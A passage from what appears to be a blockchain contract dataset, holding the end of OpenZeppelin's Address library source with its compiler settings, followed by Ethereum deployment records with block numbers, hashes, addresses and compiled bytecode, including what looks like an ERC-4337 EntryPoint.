/**\n * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but\n * with `errorMessage` as a fallback revert reason when `target` reverts.\n *\n * _Available since v3.1._\n */\n function functionCallWithValue(\n address target,\n bytes memory data,\n uint256 value,\n string memory errorMessage\n ) internal returns (bytes memory) {\n require(address(this).balance >= value, \"Address: insufficient balance for call\");\n require(isContract(target), \"Address: call to non-contract\");\n\n (bool success, bytes memory returndata) = target.call{value: value}(data);\n return verifyCallResult(success, returndata, errorMessage);\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\n * but performing a static call.\n *\n * _Available since v3.3._\n */\n function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {\n return functionStaticCall(target, data, \"Address: low-level static call failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],\n * but performing a static call.\n *\n * _Available since v3.3._\n */\n function functionStaticCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal view returns (bytes memory) {\n require(isContract(target), \"Address: static call to non-contract\");\n\n (bool success, bytes memory returndata) = target.staticcall(data);\n return verifyCallResult(success, returndata, errorMessage);\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\n * but performing a delegate call.\n *\n * _Available since v3.4._\n */\n function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {\n return functionDelegateCall(target, data, \"Address: low-level delegate call failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],\n * but performing a delegate call.\n *\n * _Available since v3.4._\n */\n function functionDelegateCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal returns (bytes memory) {\n require(isContract(target), \"Address: delegate call to non-contract\");\n\n (bool success, bytes memory returndata) = target.delegatecall(data);\n return verifyCallResult(success, returndata, errorMessage);\n }\n\n /**\n * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the\n * revert reason using the provided one.\n *\n * _Available since v4.3._\n */\n function verifyCallResult(\n bool success,\n bytes memory returndata,\n string memory errorMessage\n ) internal pure returns (bytes memory) {\n if (success) {\n return returndata;\n } else {\n // Look for revert reason and bubble it up if present\n if (returndata.length > 0) {\n // The easiest way to bubble the revert reason is using memory via assembly\n\n assembly {\n let returndata_size := mload(returndata)\n revert(add(32, returndata), returndata_size)\n }\n } else {\n revert(errorMessage);\n }\n }\n }\n}\n"
}
},
"settings": {
"optimizer": {
"enabled": false,
"runs": 200
},
"outputSelection": {
"*": {
"*": [
"evm.bytecode",
"evm.deployedBytecode",
"devdoc",
"userdoc",
"metadata",
"abi"
]
}
},
"libraries": {}
}
}}
|
1 | 19,502,264 |
e6cbef20c3a7776f5fe28f788ba4bcd38db7ddc8b2fa8dd69d4d631ac1b624b2
|
114ae5cddab8161ad429aeabb3d1b98e2e287ba5314e09306015de1dcdebbf84
|
aaa21c88d5f12fe338118b8f9d740c4b027b3066
|
ba9f42e902447a771ee43d102f01b8eb0920dc8f
|
c036c37e60b86215a34154b02e39bd3ea818a72c
|
608060405234801561001057600080fd5b5060405161050038038061050083398101604081905261002f9161036b565b60405147906000906001600160a01b0389169083908381818185875af1925050503d806000811461007c576040519150601f19603f3d011682016040523d82523d6000602084013e610081565b606091505b50509050806100bb5760405162461bcd60e51b8152602060048201526002602482015261229960f11b604482015260640160405180910390fd5b604080516001600160601b031960608a811b821660208401526001600160e81b031960e88a901b16603484015289901b1660378201528151808203602b018152604b82018352600b60f81b606b8301526000606c83018190528351808403604d0181526002606d850181815260cd86019096529294909391929091608d015b606081526020019060019003908161013a57905050604080516001600160a01b038e16602082015290810187905290915060600160405160208183030381529060405281600081518110610190576101906103f0565b602002602001018190525085600160ff1b888560006040516020016101b995949392919061044c565b604051602081830303815290604052816001815181106101db576101db6103f0565b60209081029190910101526040516324856bc360e01b81526001600160a01b038c16906324856bc390610214908590859060040161048d565b600060405180830381600087803b15801561022e57600080fd5b505af192505050801561023f575060015b61034757604051600160fa1b602082015260009060210160408051808303601f190181526001808452838301909252925060009190816020015b60608152602001906001900390816102795790505060408051600060208201526001600160a01b038b169181019190915260608101899052909150608001604051602081830303815290604052816000815181106102d9576102d96103f0565b60209081029190910101526040516324856bc360e01b81526001600160a01b038e16906324856bc390610312908590859060040161048d565b600060405180830381600087803b15801561032c57600080fd5b505af1158015610340573d6000803e3d6000fd5b5050505050505b856001600160a01b0316ff5b6001600160a01b038116811461036857600080fd5b50565b60008060008060008060c0878903121561038457600080fd5b865161038f81610353565b60208801519096506103a081610353565b60408801519095506103b181610353565b606088015190945062ffffff811681146103ca57600080fd5b608088015160a089015191945092506103e281610353565b809150509295509295509295565b634e487b7160e01b600052603260045260246000fd5b6000815180845260005b8181101561042c57602081850181015186830182015201610410565b506000602082860101526020601f19601f83011685010191505092915050565b60018060a01b038616815284602082015283604082015260a06060820152600061047960a0830185610406565b905082151560808301529695505050505050565b6040815260006104a06040830185610406565b6020838203818501528185518084528284019150828160051b85010183880160005b838110156104f057601f198784030185526104de838351610406565b948601949250908501906001016104c2565b5090999850505050505050505056fe000000000000000000000000ef1c6e67703c7bd7107eed8303fbe6ec2554bf6b000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc2000000000000000000000000a0b86991c6218b36c1d19d4a2e9eb0ce3606eb4800000000000000000000000000000000000000000000000000000000000001f400000000000000000000000000000000000000000000000000000000019bd9980000000000000000000000005cad78b326974b4117573fbf2bbf82693a4b3944
| ||
1 | 19,502,265 |
9a8810436c2c3ff9ab68a83d66e9f2766980fa2ff64979c4ef1e218482aad094
|
e3dcedd9fec3bc2048811cff2212b671859da2e3d21c154afaac9dc9196f790e
|
433704c40f80cbff02e86fd36bc8bac5e31eb0c1
|
f342fef459daec88969e71897005bfe37484edfa
|
d3c986945cf6e5b4c209236d824f104aa77068ae
|
608060405234801561001057600080fd5b50610213806100206000396000f3fe608060405234801561001057600080fd5b506004361061002b5760003560e01c8063570e1a3614610030575b600080fd5b61004361003e3660046100f9565b61006c565b60405173ffffffffffffffffffffffffffffffffffffffff909116815260200160405180910390f35b60008061007c601482858761016b565b61008591610195565b60601c90506000610099846014818861016b565b8080601f016020809104026020016040519081016040528093929190818152602001838380828437600092018290525084519495509360209350849250905082850182875af190506000519350806100f057600093505b50505092915050565b6000806020838503121561010c57600080fd5b823567ffffffffffffffff8082111561012457600080fd5b818501915085601f83011261013857600080fd5b81358181111561014757600080fd5b86602082850101111561015957600080fd5b60209290920196919550909350505050565b6000808585111561017b57600080fd5b8386111561018857600080fd5b5050820193919092039150565b7fffffffffffffffffffffffffffffffffffffffff00000000000000000000000081358181169160148510156101d55780818660140360031b1b83161692505b50509291505056fea2646970667358221220f4eeea3c52e568afe7af0cb6d22e9eba322f25189228e2d96485c8f1d485112464736f6c63430008170033
|
608060405234801561001057600080fd5b506004361061002b5760003560e01c8063570e1a3614610030575b600080fd5b61004361003e3660046100f9565b61006c565b60405173ffffffffffffffffffffffffffffffffffffffff909116815260200160405180910390f35b60008061007c601482858761016b565b61008591610195565b60601c90506000610099846014818861016b565b8080601f016020809104026020016040519081016040528093929190818152602001838380828437600092018290525084519495509360209350849250905082850182875af190506000519350806100f057600093505b50505092915050565b6000806020838503121561010c57600080fd5b823567ffffffffffffffff8082111561012457600080fd5b818501915085601f83011261013857600080fd5b81358181111561014757600080fd5b86602082850101111561015957600080fd5b60209290920196919550909350505050565b6000808585111561017b57600080fd5b8386111561018857600080fd5b5050820193919092039150565b7fffffffffffffffffffffffffffffffffffffffff00000000000000000000000081358181169160148510156101d55780818660140360031b1b83161692505b50509291505056fea2646970667358221220f4eeea3c52e568afe7af0cb6d22e9eba322f25189228e2d96485c8f1d485112464736f6c63430008170033
| |
1 | 19,502,266 |
617e28d77acd0d4acc0cdd6b0d6226900a018de4b0853b21af01bd366ac11ce7
|
3226ff8af201ab14946b5eb0b7af98b4392a9ff3b8e8be5449ad6e57463ce21a
|
433704c40f80cbff02e86fd36bc8bac5e31eb0c1
|
4e59b44847b379578588920ca78fbf26c0b4956c
|
e629eb112f891a341cd2b66b2376ba68e7011241
|
60806040526040516100109061005f565b604051809103906000f08015801561002c573d6000803e3d6000fd5b50600080546001600160a01b0319166001600160a01b039290921691909117905534801561005957600080fd5b5061006c565b6153c8806105d683390190565b61055b8061007b6000396000f3fe608060405234801561001057600080fd5b506004361061002b5760003560e01c8063c18f522614610030575b600080fd5b61004361003e36600461023a565b610059565b6040516100509190610403565b60405180910390f35b606060008251600161006b9190610485565b67ffffffffffffffff811115610083576100836101bc565b6040519080825280602002602001820160405280156100b657816020015b60608152602001906001900390816100a15790505b50905060005b83518110156101b25760608573ffffffffffffffffffffffffffffffffffffffff1663850aaf6260008054906101000a900473ffffffffffffffffffffffffffffffffffffffff16878581518110610116576101166104bf565b60200260200101516040518363ffffffff1660e01b815260040161013b9291906104ee565b600060405180830381600087803b15801561015557600080fd5b505af1925050508015610166575060015b61018b573d604051602082018101604052818152816000602083013e915061018b9050565b8083838151811061019e5761019e6104bf565b6020908102919091010152506001016100bc565b5090505b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051601f82017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe016810167ffffffffffffffff81118282101715610232576102326101bc565b604052919050565b600080604080848603121561024e57600080fd5b833573ffffffffffffffffffffffffffffffffffffffff8116811461027257600080fd5b925060208481013567ffffffffffffffff8082111561029057600080fd5b8187019150601f88601f8401126102a657600080fd5b8235828111156102b8576102b86101bc565b8060051b6102c78682016101eb565b918252848101860191868101908c8411156102e157600080fd5b87870192505b8383101561038c578235868111156102ff5760008081fd5b8701603f81018e136103115760008081fd5b8881013587811115610325576103256101bc565b6103548a7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe089840116016101eb565b8181528f8c8385010111156103695760008081fd5b818c84018c83013760009181018b019190915283525091870191908701906102e7565b8099505050505050505050509250929050565b6000815180845260005b818110156103c5576020818501810151868301820152016103a9565b5060006020828601015260207fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0601f83011685010191505092915050565b600060208083016020845280855180835260408601915060408160051b87010192506020870160005b82811015610478577fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffc088860301845261046685835161039f565b9450928501929085019060010161042c565b5092979650505050505050565b808201808211156101b6577f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b73ffffffffffffffffffffffffffffffffffffffff8316815260406020820152600061051d604083018461039f565b94935050505056fea2646970667358221220eeb9aca990134adf0a85230089406f5dd50171f3e00b1113b75843586c06007764736f6c6343000817003360a060405260405162000012906200009d565b604051809103906000f0801580156200002f573d6000803e3d6000fd5b506001600160a01b0390811660805260408051808201825260008082528251808401909352808352602080840191825282018390529051600380546001600160a01b031916919094161790925551600455516005553480156200009157600080fd5b506001600255620000ab565b610233806200519583390190565b6080516150d1620000c4600039600050506150d16000f3fe60806040526004361061016d5760003560e01c806370a08231116100cb578063bb9fe6bf1161007f578063c5f996e611610059578063c5f996e6146105b9578063dbed18e0146105d9578063fc7e286d146105f957600080fd5b8063bb9fe6bf14610557578063c23a5cea1461056c578063c3bce0091461058c57600080fd5b8063850aaf62116100b0578063850aaf62146105045780639b249f6914610524578063b760faf91461054457600080fd5b806370a08231146104a1578063765e827f146104e457600080fd5b8063205c28781161012257806335567e1a1161010757806335567e1a146102905780635287ce12146103255780635895273b1461047457600080fd5b8063205c28781461025057806322cdde4c1461027057600080fd5b80630396cb60116101535780630396cb60146101e55780630bd28e3b146101f85780631b2e01b81461021857600080fd5b806242dc531461018257806301ffc9a7146101b557600080fd5b3661017d5761017b336106cb565b005b600080fd5b34801561018e57600080fd5b506101a261019d36600461420a565b6106ec565b6040519081526020015b60405180910390f35b3480156101c157600080fd5b506101d56101d03660046142ca565b6108b5565b60405190151581526020016101ac565b61017b6101f336600461430c565b610a32565b34801561020457600080fd5b5061017b61021336600461435a565b610dc8565b34801561022457600080fd5b506101a2610233366004614375565b600160209081526000928352604080842090915290825290205481565b34801561025c57600080fd5b5061017b61026b3660046143aa565b610e10565b34801561027c57600080fd5b506101a261028b3660046143ef565b610fba565b34801561029c57600080fd5b506101a26102ab366004614375565b73ffffffffffffffffffffffffffffffffffffffff8216600090815260016020908152604080832077ffffffffffffffffffffffffffffffffffffffffffffffff8516845290915290819020549082901b7fffffffffffffffffffffffffffffffffffffffffffffffff0000000000000000161792915050565b34801561033157600080fd5b50610412610340366004614424565b6040805160a0810182526000808252602082018190529181018290526060810182905260808101919091525073ffffffffffffffffffffffffffffffffffffffff1660009081526020818152604091829020825160a0810184528154815260019091015460ff811615159282019290925261010082046dffffffffffffffffffffffffffff16928101929092526f01000000000000000000000000000000810463ffffffff166060830152730100000000000000000000000000000000000000900465ffffffffffff16608082015290565b6040516101ac9190600060a082019050825182526020830151151560208301526dffffffffffffffffffffffffffff604084015116604083015263ffffffff606084015116606083015265ffffffffffff608084015116608083015292915050565b34801561048057600080fd5b5061049461048f3660046143ef565b610ffc565b6040516101ac91906144af565b3480156104ad57600080fd5b506101a26104bc366004614424565b73ffffffffffffffffffffffffffffffffffffffff1660009081526020819052604090205490565b3480156104f057600080fd5b5061017b6104ff366004614543565b6110f1565b34801561051057600080fd5b5061017b61051f36600461459a565b61126e565b34801561053057600080fd5b5061017b61053f3660046145ef565b611313565b61017b610552366004614424565b6106cb565b34801561056357600080fd5b5061017b6113fe565b34801561057857600080fd5b5061017b610587366004614424565b6115de565b34801561059857600080fd5b506105ac6105a73660046143ef565b6118cb565b6040516101ac9190614631565b3480156105c557600080fd5b5061017b6105d4366004614711565b611bcf565b3480156105e557600080fd5b5061017b6105f4366004614543565b611cb5565b34801561060557600080fd5b50610681610614366004614424565b6000602081905290815260409020805460019091015460ff81169061010081046dffffffffffffffffffffffffffff16906f01000000000000000000000000000000810463ffffffff1690730100000000000000000000000000000000000000900465ffffffffffff1685565b6040805195865293151560208601526dffffffffffffffffffffffffffff9092169284019290925263ffffffff909116606083015265ffffffffffff16608082015260a0016101ac565b60015b60058110156106df576001016106ce565b6106e882612161565b5050565b6000805a9050333014610760576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601760248201527f4141393220696e7465726e616c2063616c6c206f6e6c7900000000000000000060448201526064015b60405180910390fd5b8451606081015160a082015181016127100160405a603f028161078557610785614773565b0410156107b6577fdeaddead0000000000000000000000000000000000000000000000000000000060005260206000fd5b8751600090156108575760006107d3846000015160008c866121b7565b9050806108555760006107e76108006121cf565b80519091501561084f57846000015173ffffffffffffffffffffffffffffffffffffffff168a602001517f1c4fada7374c0a9ee8841fc38afe82932dc0f8e69012e927f061a8bae611a2018760200151846040516108469291906147a2565b60405180910390a35b60019250505b505b600088608001515a86030190506108a7828a8a8a8080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152508792506121fb915050565b9a9950505050505050505050565b60007fffffffff0000000000000000000000000000000000000000000000000000000082167f60fc6b6e00000000000000000000000000000000000000000000000000000000148061094857507fffffffff0000000000000000000000000000000000000000000000000000000082167f915074d800000000000000000000000000000000000000000000000000000000145b8061099457507fffffffff0000000000000000000000000000000000000000000000000000000082167fcf28ef9700000000000000000000000000000000000000000000000000000000145b806109e057507fffffffff0000000000000000000000000000000000000000000000000000000082167f3e84f02100000000000000000000000000000000000000000000000000000000145b80610a2c57507f01ffc9a7000000000000000000000000000000000000000000000000000000007fffffffff000000000000000000000000000000000000000000000000000000008316145b92915050565b33600090815260208190526040902063ffffffff8216610aae576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601a60248201527f6d757374207370656369667920756e7374616b652064656c61790000000000006044820152606401610757565b600181015463ffffffff6f0100000000000000000000000000000090910481169083161015610b39576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601c60248201527f63616e6e6f7420646563726561736520756e7374616b652074696d65000000006044820152606401610757565b6001810154600090610b6190349061010090046dffffffffffffffffffffffffffff166147ea565b905060008111610bcd576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601260248201527f6e6f207374616b652073706563696669656400000000000000000000000000006044820152606401610757565b6dffffffffffffffffffffffffffff811115610c45576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600e60248201527f7374616b65206f766572666c6f770000000000000000000000000000000000006044820152606401610757565b6040805160a08101825283548152600160208083018281526dffffffffffffffffffffffffffff86811685870190815263ffffffff8a811660608801818152600060808a0181815233808352828a52918c90209a518b55965199909801805494519151965165ffffffffffff16730100000000000000000000000000000000000000027fffffffffffffff000000000000ffffffffffffffffffffffffffffffffffffff979094166f0100000000000000000000000000000002969096167fffffffffffffff00000000000000000000ffffffffffffffffffffffffffffff91909516610100027fffffffffffffffffffffffffffffffffff0000000000000000000000000000ff991515999099167fffffffffffffffffffffffffffffffffff00000000000000000000000000000090941693909317979097179190911691909117179055835185815290810192909252917fa5ae833d0bb1dcd632d98a8b70973e8516812898e19bf27b70071ebc8dc52c01910160405180910390a2505050565b33600090815260016020908152604080832077ffffffffffffffffffffffffffffffffffffffffffffffff851684529091528120805491610e08836147fd565b919050555050565b3360009081526020819052604090208054821115610e8a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601960248201527f576974686472617720616d6f756e7420746f6f206c61726765000000000000006044820152606401610757565b8054610e97908390614835565b81556040805173ffffffffffffffffffffffffffffffffffffffff851681526020810184905233917fd1c19fbcd4551a5edfb66d43d2e337c04837afda3482b42bdf569a8fccdae5fb910160405180910390a260008373ffffffffffffffffffffffffffffffffffffffff168360405160006040518083038185875af1925050503d8060008114610f44576040519150601f19603f3d011682016040523d82523d6000602084013e610f49565b606091505b5050905080610fb4576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601260248201527f6661696c656420746f20776974686472617700000000000000000000000000006044820152606401610757565b50505050565b6000610fc582612423565b6040805160208101929092523090820152466060820152608001604051602081830303815290604052805190602001209050919050565b6110376040518060c0016040528060008152602001600081526020016000815260200160008152602001600015158152602001606081525090565b61103f61243c565b611047613dfc565b6110508361247d565b60008061105f600086856125f0565b9150915060006110716000878661284f565b90506040518060c00160405280856080015181526020018281526020018481526020018381526020016000151581526020016040518060400160405280600281526020017f30780000000000000000000000000000000000000000000000000000000000008152508152509450505050506110ec6001600255565b919050565b6110f961243c565b8160008167ffffffffffffffff81111561111557611115613fa8565b60405190808252806020026020018201604052801561114e57816020015b61113b613dfc565b8152602001906001900390816111335790505b50905060005b828110156111c757600082828151811061117057611170614848565b602002602001015190506000806111ab848a8a8781811061119357611193614848565b90506020028101906111a59190614877565b856125f0565b915091506111bc8483836000612c25565b505050600101611154565b506040516000907fbb47ee3e183a558b1a2ff0874b079f3fc5478b7454eacf2bfc5af2ff5878f972908290a160005b83811015611251576112458188888481811061121457611214614848565b90506020028101906112269190614877565b85848151811061123857611238614848565b602002602001015161284f565b909101906001016111f6565b5061125c8482612e7a565b5050506112696001600255565b505050565b6000808473ffffffffffffffffffffffffffffffffffffffff1684846040516112989291906148b5565b600060405180830381855af49150503d80600081146112d3576040519150601f19603f3d011682016040523d82523d6000602084013e6112d8565b606091505b509150915081816040517f994105540000000000000000000000000000000000000000000000000000000081526004016107579291906148c5565b600061133460065473ffffffffffffffffffffffffffffffffffffffff1690565b73ffffffffffffffffffffffffffffffffffffffff1663570e1a3684846040518363ffffffff1660e01b815260040161136e929190614929565b6020604051808303816000875af115801561138d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113b1919061493d565b6040517f6ca7b80600000000000000000000000000000000000000000000000000000000815273ffffffffffffffffffffffffffffffffffffffff82166004820152909150602401610757565b336000908152602081905260408120600181015490916f0100000000000000000000000000000090910463ffffffff169003611496576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600a60248201527f6e6f74207374616b6564000000000000000000000000000000000000000000006044820152606401610757565b600181015460ff16611504576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601160248201527f616c726561647920756e7374616b696e670000000000000000000000000000006044820152606401610757565b600181015460009061152f906f01000000000000000000000000000000900463ffffffff164261495a565b6001830180547fffffffffffffff000000000000ffffffffffffffffffffffffffffffffffff001673010000000000000000000000000000000000000065ffffffffffff84169081027fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00169190911790915560405190815290915033907ffa9b3c14cc825c412c9ed81b3ba365a5b459439403f18829e572ed53a4180f0a906020015b60405180910390a25050565b336000908152602081905260409020600181015461010090046dffffffffffffffffffffffffffff168061166e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601460248201527f4e6f207374616b6520746f2077697468647261770000000000000000000000006044820152606401610757565b6001820154730100000000000000000000000000000000000000900465ffffffffffff166116f8576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601d60248201527f6d7573742063616c6c20756e6c6f636b5374616b6528292066697273740000006044820152606401610757565b60018201544273010000000000000000000000000000000000000090910465ffffffffffff161115611786576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601b60248201527f5374616b65207769746864726177616c206973206e6f742064756500000000006044820152606401610757565b6001820180547fffffffffffffff000000000000000000000000000000000000000000000000ff1690556040805173ffffffffffffffffffffffffffffffffffffffff851681526020810183905233917fb7c918e0e249f999e965cafeb6c664271b3f4317d296461500e71da39f0cbda3910160405180910390a260008373ffffffffffffffffffffffffffffffffffffffff168260405160006040518083038185875af1925050503d806000811461185b576040519150601f19603f3d011682016040523d82523d6000602084013e611860565b606091505b5050905080610fb4576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601860248201527f6661696c656420746f207769746864726177207374616b6500000000000000006044820152606401610757565b6118d3613eae565b6118db613dfc565b6118e48361247d565b6000806118f3600086856125f0565b845160e001516040805180820182526000808252602080830182815273ffffffffffffffffffffffffffffffffffffffff95861683528282528483206001908101546dffffffffffffffffffffffffffff6101008083048216885263ffffffff6f010000000000000000000000000000009384900481169095528e51518951808b018b5288815280880189815291909b1688528787528988209094015490810490911689520490911690528351808501909452818452830152939550919350903660006119c360408b018b614980565b9092509050600060148210156119da5760006119f5565b6119e86014600084866149e5565b6119f191614a0f565b60601c5b6040805180820182526000808252602080830182815273ffffffffffffffffffffffffffffffffffffffff86168352908290529290206001015461010081046dffffffffffffffffffffffffffff1682526f01000000000000000000000000000000900463ffffffff169091529091509350505050600085905060006040518060a001604052808960800151815260200189604001518152602001888152602001878152602001611aa78a6060015190565b905260408051808201825260035473ffffffffffffffffffffffffffffffffffffffff908116825282518084019093526004548352600554602084810191909152820192909252919250831615801590611b18575060018373ffffffffffffffffffffffffffffffffffffffff1614155b15611b9c5760408051808201825273ffffffffffffffffffffffffffffffffffffffff851680825282518084018452600080825260208083018281529382528181529490206001015461010081046dffffffffffffffffffffffffffff1682526f01000000000000000000000000000000900463ffffffff16909152909182015290505b6040805160a081018252928352602083019590955293810192909252506060810192909252608082015295945050505050565b611bd7613dfc565b611be08561247d565b611bec600086836125f0565b5060009050606073ffffffffffffffffffffffffffffffffffffffff861615611c7f578573ffffffffffffffffffffffffffffffffffffffff168585604051611c369291906148b5565b6000604051808303816000865af19150503d8060008114611c73576040519150601f19603f3d011682016040523d82523d6000602084013e611c78565b606091505b5090925090505b81816040517fd12c41340000000000000000000000000000000000000000000000000000000081526004016107579291906148c5565b611cbd61243c565b816000805b82811015611eaf5736868683818110611cdd57611cdd614848565b9050602002810190611cef9190614a57565b9050366000611cfe8380614a8b565b90925090506000611d156040850160208601614424565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff73ffffffffffffffffffffffffffffffffffffffff821601611db6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601760248201527f4141393620696e76616c69642061676772656761746f720000000000000000006044820152606401610757565b73ffffffffffffffffffffffffffffffffffffffff811615611e935773ffffffffffffffffffffffffffffffffffffffff8116632dd811338484611dfd6040890189614980565b6040518563ffffffff1660e01b8152600401611e1c9493929190614c43565b60006040518083038186803b158015611e3457600080fd5b505afa925050508015611e45575060015b611e93576040517f86a9f75000000000000000000000000000000000000000000000000000000000815273ffffffffffffffffffffffffffffffffffffffff82166004820152602401610757565b611e9d82876147ea565b95505060019093019250611cc2915050565b5060008167ffffffffffffffff811115611ecb57611ecb613fa8565b604051908082528060200260200182016040528015611f0457816020015b611ef1613dfc565b815260200190600190039081611ee95790505b5090506000805b84811015611fe15736888883818110611f2657611f26614848565b9050602002810190611f389190614a57565b9050366000611f478380614a8b565b90925090506000611f5e6040850160208601614424565b90508160005b81811015611fcf576000898981518110611f8057611f80614848565b60200260200101519050600080611fa38b89898781811061119357611193614848565b91509150611fb384838389612c25565b8a611fbd816147fd565b9b505060019093019250611f64915050565b505060019094019350611f0b92505050565b506040517fbb47ee3e183a558b1a2ff0874b079f3fc5478b7454eacf2bfc5af2ff5878f97290600090a150600080805b8581101561211c573689898381811061202c5761202c614848565b905060200281019061203e9190614a57565b90506120506040820160208301614424565b73ffffffffffffffffffffffffffffffffffffffff167f575ff3acadd5ab348fe1855e217e0f3678f8d767d7494c9f9fefbee2e17cca4d60405160405180910390a236600061209f8380614a8b565b90925090508060005b8181101561210b576120ea888585848181106120c6576120c6614848565b90506020028101906120d89190614877565b8b8b8151811061123857611238614848565b6120f490886147ea565b965087612100816147fd565b9850506001016120a8565b505060019093019250612011915050565b506040516000907f575ff3acadd5ab348fe1855e217e0f3678f8d767d7494c9f9fefbee2e17cca4d908290a26121528682612e7a565b50505050506112696001600255565b600061216d8234612fc1565b90508173ffffffffffffffffffffffffffffffffffffffff167f2da466a7b24304f47e87fa2e1e5a81b9831ce54fec19055ce277ca2f39ba42c4826040516115d291815260200190565b6000806000845160208601878987f195945050505050565b60603d828111156121dd5750815b604051602082018101604052818152816000602083013e9392505050565b6000805a85519091506000908161221182613001565b60e083015190915073ffffffffffffffffffffffffffffffffffffffff811661223d5782519350612338565b80935060008851111561233857868202955060028a600281111561226357612263614cfa565b146123385760a08301516040517f7c627b2100000000000000000000000000000000000000000000000000000000815273ffffffffffffffffffffffffffffffffffffffff831691637c627b21916122c5908e908d908c908990600401614d29565b600060405180830381600088803b1580156122df57600080fd5b5087f1935050505080156122f1575060015b6123385760006123026108006121cf565b9050806040517fad7954bc0000000000000000000000000000000000000000000000000000000081526004016107579190614d8c565b5a60a0840151606085015160808c01519288039990990198019088038082111561236b576064600a828403020498909801975b505060408901518783029650868110156123e05760028b600281111561239357612393614cfa565b036123b6578096506123a48a613033565b6123b18a6000898b61308f565b612415565b7fdeadaa510000000000000000000000000000000000000000000000000000000060005260206000fd5b8681036123ed8682612fc1565b506000808d600281111561240357612403614cfa565b1490506124128c828b8d61308f565b50505b505050505050949350505050565b600061242e82613117565b805190602001209050919050565b6002805403612477576040517f3ee5aeb500000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b60028055565b61257d6040517fd69400000000000000000000000000000000000000000000000000000000000060208201527fffffffffffffffffffffffffffffffffffffffff0000000000000000000000003060601b1660228201527f01000000000000000000000000000000000000000000000000000000000000006036820152600090603701604080518083037fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe00181529190528051602090910120600680547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff90921691909117905550565b60006125ae61258f6040840184614980565b61259c6020860186614424565b6125a960e0870187614980565b6131dc565b905080516000146106e8576000816040517f220266b60000000000000000000000000000000000000000000000000000000081526004016107579291906147a2565b60008060005a845190915061260586826132c5565b61260e86610fba565b6020860152604081015161012082015161010083015160a08401516080850151606086015160c0870151861717171717176effffffffffffffffffffffffffffff8111156126b8576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601860248201527f41413934206761732076616c756573206f766572666c6f7700000000000000006044820152606401610757565b60006126e78460c081015160a08201516080830151606084015160408501516101009095015194010101010290565b90506126f68a8a8a8487613410565b965061270a84600001518560200151613651565b61277957896040517f220266b6000000000000000000000000000000000000000000000000000000008152600401610757918152604060208201819052601a908201527f4141323520696e76616c6964206163636f756e74206e6f6e6365000000000000606082015260800190565b825a860311156127ee57896040517f220266b6000000000000000000000000000000000000000000000000000000008152600401610757918152604060208201819052601e908201527f41413236206f76657220766572696669636174696f6e4761734c696d69740000606082015260800190565b60e084015160609073ffffffffffffffffffffffffffffffffffffffff16156128225761281d8b8b8b856136ac565b975090505b604089018290528060608a015260a08a01355a870301896080018181525050505050505050935093915050565b6000805a90506000612862846060015190565b604051909150600090368261287a60608a018a614980565b915091506060600082600381111561289157843591505b507f72288ed1000000000000000000000000000000000000000000000000000000007fffffffff000000000000000000000000000000000000000000000000000000008216016129d15760008b8b602001516040516024016128f4929190614d9f565b604080517fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe08184030181529181526020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff167f8dd7712f000000000000000000000000000000000000000000000000000000001790525190915030906242dc53906129879084908f908d90602401614e85565b604051602081830303815290604052915060e01b6020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff8381831617835250505050925050612a48565b3073ffffffffffffffffffffffffffffffffffffffff166242dc5385858d8b604051602401612a039493929190614ec5565b604051602081830303815290604052915060e01b6020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff838183161783525050505091505b602060008351602085016000305af19550600051985084604052505050505080612c1b5760003d80602003612a835760206000803e60005191505b507fdeaddead000000000000000000000000000000000000000000000000000000008103612b1657876040517f220266b6000000000000000000000000000000000000000000000000000000008152600401610757918152604060208201819052600f908201527f41413935206f7574206f66206761730000000000000000000000000000000000606082015260800190565b7fdeadaa51000000000000000000000000000000000000000000000000000000008103612b8057600086608001515a612b4f9087614835565b612b5991906147ea565b6040880151909150612b6a88613033565b612b77886000838561308f